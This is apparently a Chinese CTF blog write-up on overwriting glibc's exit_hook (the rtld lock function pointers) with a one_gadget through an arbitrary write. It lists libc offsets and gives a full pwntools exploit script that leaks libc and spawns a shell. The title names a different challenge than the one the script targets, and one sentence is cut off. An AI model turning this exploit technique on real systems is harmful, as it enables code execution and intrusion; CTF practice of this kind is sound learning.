sctf_2019_one_heap(exit_hook更新)


题目例行检查就不放了

 逻辑比较简单,先输入一个地址v6然后输入值到v7,最后将v7的值覆盖到v6上,这不就是任意地址写吗

一下子我就想到了昨天刚学的exit_hook

结果半天都打不通,后来我进行的动态调试,我上一篇文章中放的这个偏移在这道题目上竟然是打不通的

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

实际上经过动态调试后的

__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 的地址是81D060+3840(为什么要覆盖这俩个地方是因为exit中引用了__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive ,具体可以看

 完整exp如下

from pwn import *

p = process('./hfctf_2020_marksman')
#p = remote('node4.buuoj.cn',25955)
elf = ELF('./hfctf_2020_marksman')
libc = ELF('./libc-2.27.so')


p.recvuntil('0x')

puts_addr = int(p.recvuntil('\n'),16)
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0x10a387
exit_hook = libc_base + 0x619060+3848

print('libc_base--->'+hex(libc_base))
print('exit_hook--->'+hex(exit_hook))
print(hex(libc_base+0x81df60))
p.recvuntil('shoot!shoot!')
#p.sendline(str(exit_hook))
p.sendline(str(libc_base+0x81df60))
gdb.attach(p)
for i in range (3):
    p.sendlineafter('biang!\n',chr(one_gadget & 0xff))
    one_gadget = one_gadget >> 8
p.interactive()

 这种情况可能是因为这道题目的关系,以后打不通的时候自己多多调试一下